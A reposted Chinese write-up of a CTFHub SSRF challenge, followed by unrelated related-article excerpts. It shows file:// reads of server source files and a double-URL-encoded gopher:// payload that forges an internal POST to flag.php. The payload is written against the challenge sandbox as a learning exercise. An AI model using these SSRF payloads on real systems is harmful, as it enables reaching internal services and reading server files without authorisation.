ctfhub-web-ssrf-POST请求

news2024/9/26 5:17:45

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

    gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

我们访问 127.0.0.1/flag.php 会得到一个输入框

查看源码得到 key=d5d8717016de3b11b8498de1fe572509

输入输入框:

我们尝试通过file协议读取index.php 和flag.php的页面源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php 

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
//如果url参数不存在,这行代码将使用HTTP头信息来重定向用户到根目录,并且尝试访问一个URL参数为_的页面
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
$ch = curl_init();:初始化cURL会话。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);:设置cURL选项,指定要访问的URL,这个URL是从请求参数中获取的。
curl_setopt($ch, CURLOPT_HEADER, 0);:设置cURL选项,告诉cURL不返回HTTP头。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);:设置cURL选项,允许cURL跟随重定向。
curl_exec($ch);:执行cURL会话。
curl_close($ch);:关闭cURL会话。

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {:这行代码检查发起请求的IP地址是否是本地地址(127.0.0.1)。如果不是,脚本将执行if语句内的代码。

echo "Just View From 127.0.0.1";:如果请求的IP不是本地地址,脚本将输出一条消息,提示只能从本地地址访问。

return;:这行代码结束脚本的执行。

$flag=getenv("CTFHUB");:这行代码尝试从环境变量中获取名为CTFHUB的值,并将其存储在变量$flag中。

$key = md5($flag);:然后,脚本计算$flag的MD5哈希值,并将结果存储在变量$key中。

if (isset($_POST["key"]) && $_POST["key"] == $key) {:这行代码检查是否通过POST方法提交了名为key的参数,并且该参数的值是否与$key变量的值相等。

echo $flag;:如果条件满足,脚本将输出存储在$flag变量中的值。
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=d5d8717016de3b11b8498de1fe572509

 在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。

        在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码:

POST+%2fflag.php+HTTP%2f1.1%0aHost%3a+127.0.0.1%3a80%0aContent-Length%3a+36%0aContent-Type%3a+application%2fx-www-form-urlencoded%0a+%0akey%3dd5d8717016de3b11b8498de1fe572509

POST+%2fflag.php+HTTP%252f1.1%250d%250aHost%253a+127.0.0.1%253a80%250d%250aContent-Length%253a+36%250d%250aContent-Type%253a+application%252fx-www-form-urlencoded%250d%250a%250d%250akey%253dd5d8717016de3b11b8498de1fe572509

 因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求,构造如下Payload:

view-source:http://challenge-4a31b39b2d878282.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST+%2fflag.php+HTTP%252f1.1%250d%250aHost%253a+127.0.0.1%253a80%250d%250aContent-Length%253a+36%250d%250aContent-Type%253a+application%252fx-www-form-urlencoded%250d%250a%250d%250akey%253dd5d8717016de3b11b8498de1fe572509

发送POST请求,得到flag。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2088873.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

走心机阀芯加工

阀芯加工走心机&#xff0c;是制造业中一个非常关键且高效的技术组合&#xff0c;深知这种技术在精密加工领域的重要性&#xff0c;下面我将从几个方面为您详细介绍阀芯加工走心机的特点和应用。 一、阀芯加工走心机的定义与特点 阀芯加工走心机&#xff0c;是一种结合了数控车…

模板进阶(C++)

一.非类型模板参数 1.使用方法和概念 模板参数分为类型形参与非类型形参。 类型形参:出现在模板参数列表中&#xff0c;跟在class或者typename之类的参数类型名称。 非类型形参:就是用一个常量作为类(函数)模板的一个参数&#xff0c;在类(函数)模板中可将该参数当成常量来使…

CSS线性渐变拼接,一个完整的渐变容器(div),要拆分成多个渐变容器(div),并且保持渐变效果一致

1 需求 一个有渐变背景的div&#xff0c;需要替换成多个渐变背景div拼接&#xff0c;渐变效果需要保持一致&#xff08;不通过一个大的div渐变&#xff0c;其他子的div绝对定位其上并且背景透明来解决&#xff09; 2 分析 主要工作&#xff1a; 计算完整div背景线性渐变时的…

福建聚鼎:装饰画店铺怎么做盈利快

在艺术的殿堂里&#xff0c;装饰画店铺是一扇通往美与创意的门。要想让这扇门快速盈利&#xff0c;我们需要从多个维度出发&#xff0c;打造一个独特且吸引人的艺术空间。 我们要注重产品的独特性。每一幅装饰画都应该是独一无二的艺术品&#xff0c;它们不仅仅是墙面的装饰&am…

Linux——IO模型_多路转接(epoll)

目录 0.往期文章 1.epoll的三个接口 1.epoll_create 2.epoll_ctl 结构体 epoll_event 3.epoll_wait 2. epoll的工作原理&#xff0c;和接口对应 1.理解数据到达主机 2.epoll的工作原理 3.基于epoll的TCP服务器&#xff08;代码) 辅助库 基于TCP的Socket封装 服务器代…

集运系统如何多维度展现企业业务情况?

在集运行业&#xff0c;数据是企业决策的重要依据。为了在竞争中保持优势&#xff0c;企业需要一套高效、灵活且可靠的管理工具来应对市场的快速变化。易境通集运系统以其全面而精细的统计报表功能&#xff0c;成为企业决策优化和业务增长的重要助手。 易境通集运系统https://…

OpenLayers3, 箭头线绘制实现

文章目录 一、前言二、代码实现三、总结 一、前言 本文基于OpenLayers3&#xff0c;实现绘制箭头线的功能。 二、代码实现 <!DOCTYPE html> <html> <head><title>绘制箭头线</title><link href"../../libs/ol3/ol.css" rel"…

山东省大数据职称考试(2)

注意&#xff1a;数据本身不具备价值。 线性表的顺序存储结构是指用一段地址连续的存储单元依次存储线性表的数据元素。 面向对象程序设计的特点包括&#xff1a;抽象、封装、继承、多态123。其中&#xff0c;抽象用于描述问题的高度概括、分类和抽象&#xff0c;封装实现了数据…

物料信息库管理杂谈

在国内某大型电子设备厂调研时&#xff0c;听到研发人员说&#xff0c;采购部门总是不能及时地采购所需要物料&#xff0c;导致进度延迟&#xff1b;而采购人员常常抱怨说&#xff0c;研发人员选用的物料很难采购&#xff1b;同时&#xff0c;生产人员也认为生产排期很难进行&a…

FGF23:家族靶向治疗先行者

成纤维细胞生长因子23&#xff08;FGF23&#xff09;属于FGF19亚家族成员&#xff0c;由成骨细胞、骨细胞和骨髓合成&#xff0c;是磷酸盐和钙稳态的重要调节剂&#xff0c;同时与铁稳态、炎症和红细胞生成也有关。 &#xff08;数据来源AlphaFold&#xff09; FGF23由251个氨…

内联函数与动态内存分配

内联函数 • 调用普通函数的问题&#xff1a; 每个普通函数调用语句都需要发生跳转操作&#xff0c;这种跳转操作会带来时间开销。 • 内 联就是用 函数已被编译好的二进制代码 &#xff0c; 替换 对该函数的调用指令 • 内 联在保证函数特性的同时&#xff0c;避免了函数 调用…

什么是Java以及Java的发展历程

Java是什么 搜索百度百科词条 Java是一门面向对象的编程语言&#xff0c;不仅吸收了C语言的各种优点&#xff0c;还摒弃了C里难以理解的多继承、指针等概念&#xff0c;因此Java语言具有功能强大和简单易用两个特征。Java语言作为静态面向对象编程语言的代表&#xff0c;极好地…

瞩“M”蓉城,驾趣“耍起” 全新BMW M5策马领衔,宝马集团13款新车闪耀成都车展

宝马秉持长期主义&#xff0c;以强大产品和创新体验&#xff0c;满足中国客户需求2024是BMW M大年&#xff0c;车型数量将扩至23款&#xff0c;几乎覆盖BMW所有细分市场全新BMW M5中国首秀&#xff0c;即将于今年年底上市 以“精简有道”融合性能美学与空气动力学&#xff0c;设…

实用好软-----电脑端 Kuvid工具 支持上千网站的视频下载软件

今天分享的这款软件支持很多网站视频下载 。全中文界面。操作比较简单。初步测试了下。下载B站视频操作方便 其他视频界面个别会解析错误。 软件主界面和相关设置界面 注意&#xff1a;设置中的自定义FFMPEG通常不需要开启,需要指定的路径是ffmpeg.exe的路径,不是所下载的安装…

2024高效获客转化指南 | 「人群模型」详解

营销进入“以人为本”的时代&#xff0c;小红书以其独特的UGC社区生态&#xff0c;在营销“人影响人”的传播链路中发挥着关键作用。 本期&#xff0c;千瓜就营销传播中“人”的研究展开探讨&#xff0c;通过解析人群模型、品牌案例&#xff0c;详细解读营销策略方法及应用&…

华为USG6625F设备ipsec隧道无IKE v1版本解决办法

新华为USG6625F防火墙&#xff0c;因需要和对端中心对接ipsec后发现无IKE V1版本&#xff0c;设备默认只有IKE v2版本&#xff0c;和对端对接隧道参数不一致&#xff0c;无法成功对接&#xff0c;因此需要下载相应的IKE v1插件后加载插件来解决该问题&#xff1b; USG6625F 版本…

Python自动化测试requests库深度详解

前言 发送HTTP请求 import requests# 登录的接口地址url http://............/login# 登录的参数params {"mobile_phone": 18300000000,"pwd": 12345678}# 请求头headers {X-Lemonban-Media-Type: lemonban.v2}# 发送登录请求# 请求类型为 Content-Typ…

《机器学习》 基于GANs构建数字图像生成器 探索深度学习世界

文章目录 引言生成对抗网络的基本原理生成对抗网络的数学表达生成对抗网络的应用生成对抗网络的挑战与优化生成对抗网络的实现示例结论&#xff1a;机器学习和ai技术的出现成为了C……SD……N 热榜的爹。 使用机器学习技术对热榜文章进行分析 引言 生成对抗网络&#xff08;Ge…

Training language models to follow instructionswith human feedback

Abstract 将语言模型做得更大并不会自动提高它们遵循用户意图的能力。例如&#xff0c;大型语言模型可能会生成不真实、有毒或对用户不有帮助的输出。换句话说&#xff0c;这些模型并未与用户对齐&#xff08;aligned&#xff09;。本文展示了一种通过人类反馈来对齐语言模型与…

Kubernetes 上安装 Jenkins

安装 Helm curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash添加 Jenkins Helm 仓库 首先添加 Jenkins Helm 仓库 helm repo add jenkins https://charts.jenkins.io helm repo update安装 Jenkins 使用 Helm 安装 Jenkins 的最新版本&…